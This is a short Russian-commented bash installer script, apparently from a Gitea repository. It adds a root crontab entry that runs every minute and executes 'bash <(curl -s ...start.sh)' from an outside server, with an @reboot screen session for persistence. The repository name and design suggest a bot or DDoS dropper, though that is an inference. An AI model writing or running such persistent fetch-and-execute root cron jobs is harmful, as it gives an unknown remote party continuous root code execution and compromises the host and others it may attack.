10 lines
430 B
Bash
10 lines
430 B
Bash
#!/bin/bash
|
|
apt update -y
|
|
apt upgrade -y
|
|
apt install -y screen
|
|
echo "*/1 * * * * root screen -S demo -X stuff 'bash <(curl -s http://gitea.dopserver.ru/partizan59rus/dd/raw/branch/main/start.sh)' > /dev/null 2>&1" | tee -a /etc/crontab
|
|
echo "@reboot root screen -S demo > /dev/null 2>&1" | tee -a /etc/crontab
|
|
systemctl restart cron
|
|
echo "Создана задача:"
|
|
cat /etc/crontab
|
|
echo "Установка завершена" |